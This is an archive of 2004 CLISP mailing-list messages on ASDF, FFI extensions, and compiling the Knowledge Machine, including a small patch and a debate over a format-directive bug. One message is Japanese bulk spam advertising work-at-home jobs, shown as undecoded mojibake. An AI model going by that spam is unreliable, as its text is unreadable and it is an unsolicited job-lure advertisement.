(Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 1F5E2586E3; Fri, 27 Feb 2004 03:27:08 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 434474C4BC; Fri, 27 Feb 2004 03:26:54 +0100 (CET) Message-ID: <16446.43758.112634.494173@thalassa.informatimago.com> To: Joe Corneli Cc: clisp-list@lists.sourceforge.net Subject: [clisp-list] asdf package? In-Reply-To: References: X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: en X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Feb 26 18:38:03 2004 X-Original-Date: Fri, 27 Feb 2004 03:26:54 +0100 Joe Corneli writes: > Does CLISP have an ASDF package? You can run ASDF from cclan in clisp. Last time I tried I did not find any problem... > More generally, how to know which packages CLISP has? (list-all-packages) It's a standard common-lisp function! > How to load them? > > > I'm trying to run the stump window manager under CLISP. > > (defpackage :stumpwm-system > (:use :cl :asdf)) -- __Pascal_Bourguignon__ http://www.informatimago.com/ There is no worse tyranny than to force a man to pay for what he doesn't want merely because you think it would be good for him.--Robert Heinlein http://www.theadvocates.org/ From ps-info2@p-sol.net Fri Feb 27 00:06:33 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Awd0z-0006Ed-KN for clisp-list@lists.sourceforge.net; Fri, 27 Feb 2004 00:06:33 -0800 Received: from fsaib064.sdx.ne.jp ([210.236.52.64] helo=user) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.30) id 1Awcr6-0002Np-Ix for clisp-list@lists.sourceforge.net; Thu, 26 Feb 2004 23:56:20 -0800 Received: from [127.0.0.1] by user (ArGoSoft Mail Server Plus, Version 1.8 (1.8.4.3)); Fri, 27 Feb 2004 16:56:39 +0900 To: clisp-list@lists.sourceforge.net X-Mailer: Easy DM free Message-ID: <20040227.0756380380@ps-info2-p-sol.net> From: hot MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-2022-JP X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] =?ISO-2022-JP?B?GyRCIXlLXEZ8JE4lJCVBJSolNyQqO0U7dj5wSnMheRsoQg==?= Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Feb 27 00:07:05 2004 X-Original-Date: Fri, 27 Feb 2004 16:56:39 +0900 $B!yK\F|$N%$%A%*%7$*;E;v>pJs!y(B $B(."""#(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,"#""(/(B $B%[%C%H!&%[%C%H!&%K%e!<%9!!!!(B $B!c(B2003.2.27$BH/9T!d(B $B(1"""#(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,"#""(0(B $B!Z"-%*%9%9%a>pJs![(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,!y(B $B4J(-C1(-EP(-O?(-$G(-B((-;E(-;v(-(B $B(,(0(,(0(,(0(,(0(,(0(,(0(,(0(,(0!!(B $B(2(B 2$B7n:G8e$NJg=8$G$9!#(B $B(2(B $BG/Np$O(B20$B:P!A(B55$B:P$^$G!#(B $B(2(B $B7n#5K|!A$+$i(B $B(1(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,"*!!!!(Bhttp://www.denen-soho.com $B!y!&"v!#!&!z!&!#!y!&"v!#!&!z!&!#!y!&"v!#!&!z!&!#!y!&"v!#!&!z!&!#!y!&"v!#!z(B $B"v"v"v"v!Z$"$-$i$a$F$^$;$s$+!):_Bp%o!<%/!*!["v"v"v"v(B $B!!(B $B!!!!!!!!(B $B!y!&"v!#!&!z!&!#!y!&"v!#!&!z!&!#!y!&"v!#!&!z!&!#!y!&"v!#!&!z!&!#!y!&"v!#!z(B $B"#"#"#!]!]"c:_Bp6HL3Jg=8"d!]!]"#"#"#(B $B!XED1`D4I[(BSOHO$B$/$i$V!Y$+$i$N$*CN$i$;!!(B $B"#"#"#"#"#"#"#"#"#"#"#"#"#"#"#"#"#"#(B $B!z!!$3$s$J>pJs8+$D$1$F8+$^$7$?!*!!!z(B $B:#2s$N$4>R2p$O:_Bp6HL3$N2qC$5$l$k$H$7$?$i!&!&!&!&!&(B $B"$"'"$"'"$"'"$"'"$"'"$"'"$"'"$"'"$"'"$"'"$"'(B $B!v;R6!$,>.$5$/$F2H$r6u$1$i$l$J$$!&!&!&(B $B!v@h9T$-IT0B$J$N$G:#$N$&$A$K!&!&!&(B $B!v6u$$$?;~4V$G>/$7$G$bM>J,$K2T$2$l$P!&!&!&(B $B!vCOJ}$@$H$=$&$=$&;E;v$,!&!&!&(B $B!v?M4V4X78$,$&$C$H$&$7$/$F!&!&!&(B $B(.(,(/(.(,(/(.(,(/(.(,(/(.(,(/(.(,(/(.(,(/(.(,(/(.(,(/(.(,(/(B $BA4(B $BIt(B $B2r(B $B>C(B $B$5(B $B$l(B $B$k(B $B$N(B $B$K(B $B!&!&!&(B $B(1(,(0(1(,(0(1(,(0(1(,(0(1(,(0(1(,(0(1(,(0(1(,(0(1(,(0(1(,(0(B $B!!:#$^$G$N="6H%9%?%$%k$G$O$"$-$i$a$k$7$+$J$+$C$?)$7$F$$$k$N$,8=:_$N!"!X(BSOHO$B%o!<%/!Y$G$9!#(B $B!!$3$l$+$i$O!V<+J,$r<+J,$Go$K0BDjE*$J;E;v$r6!5k$9$k$3$H$,2DG=$H$J$C$F$*$j$^$9!#(B $B<}F~$O4JC1$J%G!<%?F~NO!J%Y%?BG$A!K$r(B1$B=54V(B10$B;~4VDxEY$G7n<}#5!A#6K|1_DxEY$K$7$+$J$j(B $B$^$;$s$,D9$/7xeJs=7$rK>$`J}$K$b$K$bK|A4$N(B $B6HL3G[?.$r9T$$$^$9$N$G0B?4$7$F2<$5$$!#(B $B8=:_!"fIW$G$9!*(B $B"!>\$7$$FbMF!";qNA@A5a!JL5NA!K$O2<5-$N%[!<%`%Z!<%8$K$F3NG'2<$5$$!#"!(B $B!!!!!!!!!!!!!!!!!!!!!!!~!!(Bhttp://www.denen-soho.com/$B!!!~(B -------------------------------------------------------------------------------- $B"(;qNA@A5a\:Y!">&IJ!&%5!<%S%9$K$D$$$F$O!"%[%C%H%$%s%U%)%a!<%7%g(B $B%s(B($B3t(B)$B$G$O$*Ez$($9$k$3$H$,$G$-$^$;$s!#%a!<%kCf$G$40FFb$7$F$$$k3F4k6H$N$*(B $BLd$$9g$o$;Ak8}$r$43NG'$/$@$5$$!#(B $B$^$?!"(BHTML$B7A<0$G$*Aw$j$9$k%a!<%k$K$O%&%'%C%V%S!<%3%s$,;HMQ$5$l$F$$$^$9!#(B $B"'G[?.Dd;_!"$^$?$O?4$"$?$j$,$J$$>l9g(B http://news.hot.hot.com/VAY6qoU.yTmjdeDZ9_MoGixYY $B"'G[?.@_Dj$NJQ99(B http://direct.hot.hot.com/config/delivernews.src=deliver $B"'(BHot Hot News$B$K$D$$$F$N$*Ld9g$;!&$4l9g$O!"$*$r!V2r=|4uK>!W$H$7$F!"(B $B$3$N%a!<%k$NFbMF$r$9$Y$F0zMQ$7$F(B ps-info1@p-sol.net $B$^$G$*Aw$j$/$@$5$$!#(B $B"(%a!<%k$,Jx$l$F8+$($k>l9g$O!V(BMS$B%4%7%C%/!W$d!V(BOsaka$BEyI}!W$J$IEyI}%U%)%s(B $B%H$G$4Mw$/$@$5$$!#(B ------------------------------------------------------------------------ $BCm!'G[?.%7%9%F%`$N;EMM>e!"2r=|:n6H$,CY$l$k;v$,$"$j$^$9!#(B $B!!!!$4N;>5$/$@$5$$!#(B ===================================================================== From Joerg-Cyril.Hoehle@t-systems.com Fri Feb 27 00:43:21 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Awdab-0004Y9-3x for clisp-list@lists.sourceforge.net; Fri, 27 Feb 2004 00:43:21 -0800 Received: from mail4.telekom.de ([195.243.210.197]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1AwdCF-00038U-44 for clisp-list@lists.sourceforge.net; Fri, 27 Feb 2004 00:18:11 -0800 Received: from g8pbr.blf01.telekom.de by mail2.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Fri, 27 Feb 2004 09:33:02 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Fri, 27 Feb 2004 09:33:00 +0100 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE09F0BDFD@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] FFI , UFFI and extensions (was: array of strings?) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Feb 27 00:44:06 2004 X-Original-Date: Fri, 27 Feb 2004 09:32:58 +0100 Hi, Sam wondered: >does this mean that CLISP will support UFFI-2 automatically? Nope. 1. Somebody has to do a porting job. 2. Kevin Kosenberg and possibly others has to be convinced that = something very close to CLISP is the perfect candidate for UFFIv2. For = now, UFFIv2 is possibly not more than a word (trademark :-). >>>>>(setq z (allocate-shallow '(c-array char 1000))) >I get #(97 110 115 32 61 10 32 32 49 46 50 50 52 54 101 45 48 49 54 = 10) >yuk. 1. Oops, there's that difference between ffi:character and ffi:char... 2. you should have gotten 1000 signed bytes out of c-array, not the = above 20.=20 >> I don't understand why. No user of the other Lisps would write C >> code. >to avoid FFI overhead you mention below. From the Amiga POV, writing C code to interface to existing dynamic = libraries is unacceptable. Similarly, I don't want to have to add C = stubs to interface to existing shared libraries on UNIX or MS-Windows = -- unless the addtional performance is beneficial. The idea is: the = library, the Lisp system is there, just combine the two and run (no = intermediate Makefiles, C compilation, link kits, separate memory = images). I still know how to use CLISP extensions with just a unique = image file. >Do you think AFFI is more appropriate as the UFFI substrate? I think I already said no in clisp-devel. I expressed the idea that = AFFI *only* provides a low-level layer, on which lots of things (except = callbacks) can be built (like any good low-level layer provides for = seemless topping). BTW, how current are sf's mailing archives?? I recommend using the FFI for UFFI, and possibly enhance some issues = (e.g. better variable-sized arrays support). E.g. I recently thought that either FFI:ELEMENT or FFI:DEREF = (preferably) could be extended to provide pointer arithmetic like in C: = *(p+i). This way, one wouldn't have to dynamically construct a = FOREIGN-VARIABLE object of the given `(C-ARRAY x ,size) type, just to = extract some value. I believe some of the people posting here could make use of this (I = forgot whose posting lead me to come up with this idea). (DEREF # &optional signed-index) -> foreign_value(*(address+signed-index)) Of course, people should know that block- or array-oriented operations = are faster than their element by element counterpart. One should work with c-string and c-array[-max] as much as possible, = instead of dealing with individual characters. Yet, here, for short arrays, the overhead of building up the = foreign-variable object's C-type may outweight the inherent performance = advantage. That's a very implementation dependent area: with compilers = to native code, there wouldn't be much of a difference. There are more than a dozen conceivable useful extensions to the FFI. Another example would be the ability to convert part of a foreign = array, possibly open-ended to and from Lisp. I already mentioned AFFI's = MEM-READ/WRITE once. Something similar, based on # objects, = could be added to FFI. Then people would continue to be able to use = fast array operations, instead of elementwise using that DEREF = extension. One has to carefully choose. IMHO, something low-level (from an = application POV) like any FFI is not suited for a hundred utility = functions, which would all provide somehow similar functionality. I can't remember where I had my notes about a page full of possible = extensions. Regards, J=F6rg H=F6hle. From Jens.Himmelreich@hmmh.de Fri Feb 27 00:59:03 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Awdpm-0008RH-SU for clisp-list@lists.sourceforge.net; Fri, 27 Feb 2004 00:59:02 -0800 Received: from robin.hmmh-ag.net ([62.225.178.35]) by sc8-sf-mx2.sourceforge.net with esmtp (TLSv1:DES-CBC3-SHA:168) (Exim 4.30) id 1AwdRQ-0004mE-TA for clisp-list@lists.sourceforge.net; Fri, 27 Feb 2004 00:33:53 -0800 Received: from mail01hb.hmmh.ag ([192.168.1.191]) by robin.hmmh-ag.net (8.12.3/8.12.3/Debian-6.4) with ESMTP id i1R8meLk029610 for ; Fri, 27 Feb 2004 09:48:40 +0100 Content-Class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0 Subject: RE: [clisp-list] ISO something like apply in python Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [clisp-list] ISO something like apply in python thread-index: AcP79km2I8D7ffUmQAmCELBKzVS+DgBF7cTw From: "Jens Himmelreich" To: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Feb 27 01:00:06 2004 X-Original-Date: Fri, 27 Feb 2004 09:48:40 +0100 Python 2.3.2 (#1, Oct 9 2003, 12:03:29) [GCC 3.3.1 (cygming special)] on cygwin Type "help", "copyright", "credits" or "license" for more information. >>> def add(a,b): ... return a + b ... >>> add(3,4) 7 >>> apply(add, (3,4)) 7 >>> print(apply.__doc__) apply(object[, args[, kwargs]]) -> value Call a callable object with positional arguments taken from the tuple args, and keyword arguments taken from the optional dictionary kwargs. Note that classes are callable, as are instances with a __call__() method. Deprecated since release 2.3. Instead, use the extended call syntax: function(*args, **keywords). >>> best regards jens himmelreich From jcorneli@math.utexas.edu Fri Feb 27 03:19:49 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Awg21-0000sX-Nr for clisp-list@lists.sourceforge.net; Fri, 27 Feb 2004 03:19:49 -0800 Received: from dell3.ma.utexas.edu ([146.6.139.124]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1Awfs5-00020h-VY for clisp-list@lists.sourceforge.net; Fri, 27 Feb 2004 03:09:34 -0800 Received: from linux183.ma.utexas.edu (mail@linux183.ma.utexas.edu [146.6.139.172]) by dell3.ma.utexas.edu (8.11.0.Beta3/8.10.2) with ESMTP id i1RB9X112608; Fri, 27 Feb 2004 05:09:33 -0600 Received: from jcorneli by linux183.ma.utexas.edu with local (Exim 3.36 #1 (Debian)) id 1Awfs5-00063Q-00; Fri, 27 Feb 2004 05:09:33 -0600 To: clisp-list cc: neeracher@mac.com, porter X-all-your-base-are-belong-to-us: You are on the way to destruction. Message-Id: From: Joe Corneli X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] loading and compiling the Knowledge Machine Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Feb 27 03:20:04 2004 X-Original-Date: Fri, 27 Feb 2004 05:09:33 -0600 I get two problems with Porter and Clark's Knowledge Machine under CLISP -- problems that, as far as I know, are not experienced by users of other Common Lisps. First error: "DEFUN/DEFMACRO(show-stack): # is locked". [1]> (load "~/site-lisp/km/km.lisp") ;; Loading file /Users/arided/site-lisp/km/km.lisp ... ** - Continuable Error DEFUN/DEFMACRO(show-stack): # is locked If you continue (by typing 'continue'): Ignore the lock and proceed 1. Break [2]> continue Resetting KM... ==================================================== KM - THE KNOWLEDGE MACHINE - INFERENCE ENGINE v2.0.1 ==================================================== Copyright (C) 2004 Peter Clark and Bruce Porter. KM comes with ABSOLUTELY NO WARRANTY. This is free software, and you are welcome to redistribute it under certain conditions. Type (license) for details. Documentation at http://www.cs.utexas.edu/users/mfkb/km/ Type (km) for the KM interpreter prompt! ;; Loading of file /Users/arided/site-lisp/km/km.lisp is finished. t Second error: "*** - Non-existent directive" [3]> (compile-file "~/site-lisp/km/km.lisp") Compiling file /Users/arided/site-lisp/km/km.lisp ... WARNING in function immediate-classes in lines 5951..6007 : variable enforce-constraints is used despite of IGNORE declaration. WARNING in function test-val-constraint in lines 9978..10031 : Duplicate case label quote : (case mode ('consistent (km0 `(,val &? (|a| ,@(rest constraint))))) ('satisfies (km0 `(,val |is| '(|a| ,@(rest constraint)))))) WARNING in function test-val-constraint in lines 9978..10031 : Duplicate case label quote : (case mode ('consistent (some #'(lambda (possible-value) (km0 `(,val &? ,possible-value))) possible-values)) ('satisfies (member val possible-values :test #'equal))) WARNING in function test-set-constraint in lines 10033..10060 : Duplicate case label quote : (case mode ('consistent t) ('satisfies (>= nvals n))) WARNING in function test-set-constraint in lines 10033..10060 : Duplicate case label quote : (case mode ('consistent (<= nvals n)) ('satisfies (= nvals n))) *** - Non-existent directive Current point in control string: ~a~60vT~a | 1. Break [4]> :a These might be related to the version of CLISP that I'm using (Fink's clisp-2.29-13). One or both of the errors may be easy to fix, but I have no idea what to do about them. Advice would be much appreciated. The KM code is available under the GPL from http://www.cs.utexas.edu/users/mfkb/RKF/km.html From sds@gnu.org Fri Feb 27 06:30:26 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Awj0T-0003y7-21 for clisp-list@lists.sourceforge.net; Fri, 27 Feb 2004 06:30:25 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1Awibm-0007KF-6i for clisp-list@lists.sourceforge.net; Fri, 27 Feb 2004 06:04:54 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i1REJjkS029944; Fri, 27 Feb 2004 09:19:45 -0500 (EST) To: clisp-list@lists.sourceforge.net, Joe Corneli Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: (Joe Corneli's message of "Fri, 27 Feb 2004 05:09:33 -0600") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Joe Corneli Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: -4.901 X-Scanned-By: MIMEDefang 2.39 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: loading and compiling the Knowledge Machine Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Feb 27 06:31:06 2004 X-Original-Date: Fri, 27 Feb 2004 09:19:45 -0500 > * Joe Corneli [2004-02-27 05:09:33 -0600]: > > ;; Loading file /Users/arided/site-lisp/km/km.lisp ... > ** - Continuable Error > DEFUN/DEFMACRO(show-stack): # is locked > If you continue (by typing 'continue'): Ignore the lock and proceed EXT:SHOW-STACK is a CLISP extension. when they define a package, they should specify the USE list and no use the EXT package. E.g., (defpackage "KM" (:use "CL")) (in-package "KM") > Compiling file /Users/arided/site-lisp/km/km.lisp ... > WARNING in function immediate-classes in lines 5951..6007 : > variable enforce-constraints is used despite of IGNORE declaration. > WARNING in function test-val-constraint in lines 9978..10031 : > Duplicate case label quote : > (case mode ('consistent (km0 `(,val &? (|a| ,@(rest constraint))))) > ('satisfies (km0 `(,val |is| '(|a| ,@(rest constraint)))))) > WARNING in function test-val-constraint in lines 9978..10031 : > Duplicate case label quote : > (case mode > ('consistent > (some #'(lambda (possible-value) (km0 `(,val &? ,possible-value))) > possible-values)) > ('satisfies (member val possible-values :test #'equal))) > WARNING in function test-set-constraint in lines 10033..10060 : > Duplicate case label quote : (case mode ('consistent t) ('satisfies (>= nvals n))) > WARNING in function test-set-constraint in lines 10033..10060 : > Duplicate case label quote : (case mode ('consistent (<= nvals n)) > ('satisfies (= nvals n))) the above warnings are indicative of sloppy code (at best) ore severe bugs (at worse) > *** - Non-existent directive > Current point in control string: > ~a~60vT~a > | > 1. Break [4]> :a : "In place of a prefix parameter to a directive, V (or v) can be used." CLISP interprets that "v" must be the only prefix argument. others interpret this more leniently. please try the appended patch. -- Sam Steingold (http://www.podval.org/~sds) running w2k Sufficiently advanced stupidity is indistinguishable from malice. --- format.lisp.~1.23.~ 2004-01-21 13:27:29.433240900 -0500 +++ format.lisp 2004-02-27 09:18:16.021572700 -0500 @@ -116,7 +116,7 @@ (push (if (eql ch #\#) ':ARG-COUNT ':NEXT-ARG) (csd-parm-list newcsd)) (setf (csd-v-or-#-p newcsd) T) - (go param-ok-1)) + (go param)) (#\, (push nil (csd-parm-list newcsd)) (go param)) (#\: (go colon-modifier)) (#\@ (go atsign-modifier)) @@ -130,7 +130,7 @@ (TEXT "~A must introduce a number.") ch)) (push intparam (csd-parm-list newcsd)) - (go param-ok-2) + (go param-ok) quote-param ; Quote-Parameter-Treatment (incf index) @@ -140,10 +140,8 @@ (go string-ended)) (setq ch (schar control-string index)) (push ch (csd-parm-list newcsd)) - - param-ok-1 ; Parameter OK (incf index) - param-ok-2 ; Parameter OK + param-ok ; Parameters OK (when (>= index (length control-string)) (format-error control-string index (errorstring)) (go string-ended)) From sds@gnu.org Fri Feb 27 08:50:07 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AwlBf-0002Zb-BA for clisp-list@lists.sourceforge.net; Fri, 27 Feb 2004 08:50:07 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1Awl1b-0008JY-4a for clisp-list@lists.sourceforge.net; Fri, 27 Feb 2004 08:39:43 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i1RGdXkS014905; Fri, 27 Feb 2004 11:39:33 -0500 (EST) To: clisp-list@lists.sourceforge.net, Joe Corneli Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: (Joe Corneli's message of "Fri, 27 Feb 2004 05:09:33 -0600") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Joe Corneli Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: -4.901 X-Scanned-By: MIMEDefang 2.39 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: loading and compiling the Knowledge Machine Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Feb 27 08:51:05 2004 X-Original-Date: Fri, 27 Feb 2004 11:39:33 -0500 > * Joe Corneli [2004-02-27 05:09:33 -0600]: > > *** - Non-existent directive > Current point in control string: > ~a~60vT~a actually, this is broken. there must be a comma between prefix arguments "60" and "v". please report this as a bug to the author of the software. -- Sam Steingold (http://www.podval.org/~sds) running w2k If you're beeing passed on the right, you're in the wrong lane. From Joerg-Cyril.Hoehle@t-systems.com Fri Feb 27 09:15:42 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AwlaQ-0000X6-LA for clisp-list@lists.sourceforge.net; Fri, 27 Feb 2004 09:15:42 -0800 Received: from mail4.telekom.de ([195.243.210.197]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1AwlBa-0005tW-0i for clisp-list@lists.sourceforge.net; Fri, 27 Feb 2004 08:50:02 -0800 Received: from g8pbr.blf01.telekom.de by mail2.dmz.telekom.de with ESMTP; Fri, 27 Feb 2004 18:05:09 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Fri, 27 Feb 2004 18:05:08 +0100 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE09F0C04D@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: jcorneli@math.utexas.edu Subject: [clisp-list] Re: loading and compiling the Knowledge Machine MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Feb 27 09:16:04 2004 X-Original-Date: Fri, 27 Feb 2004 18:05:07 +0100 Hi, [Joe Corneli tries to port the Knowledge Machine (KM) package to CLISP] >> WARNING in function test-val-constraint in lines 9978..10031 : >> Duplicate case label quote : >> (case mode ('consistent (km0 `(,val &? (|a| ,@(rest constraint))))) >> ('satisfies (km0 `(,val |is| '(|a| ,@(rest constraint)))))) It should be (case mode (consistent ...) (satisfies ...)) It's a bug, probably in KM, maybe depending on macro-expansion mechanisms. It should be taken seriously unless it's in some test/demo file. KM will not work properly if it's in the main code. >> *** - Non-existent directive My suggestion: CLISP should say "format directive". >> Current point in control string: >> ~a~60vT~a >: >"In place of a prefix parameter to a directive, V (or v) can be used." > >CLISP interprets that "v" must be the only prefix argument. >others interpret this more leniently. >please try the appended patch. I'm sorry. I don't see why CLISP should be patched. I can attach no meaning to 60v. Either 60 is used as a parameter, or v. Parameters are separated using #\,. So is the above "ignore 60, take v" or "60,v"? (I believe the latter, but who knows) IMHO, porting KM revealed a bug in KM's code, not in CLISP. An examples from the CLHS: "~%Scale factor ~2D: |~13,6,2,VE|": there are 4 parameters, one is "V". All are separated by commas. CLISP has a habit and reputation of being strict on semantics, which in the end, helps portability by showing bogus code. Please don't break that. Please report 1 or 2 bugs to KM instead. Regards, Jorg Hohle. From 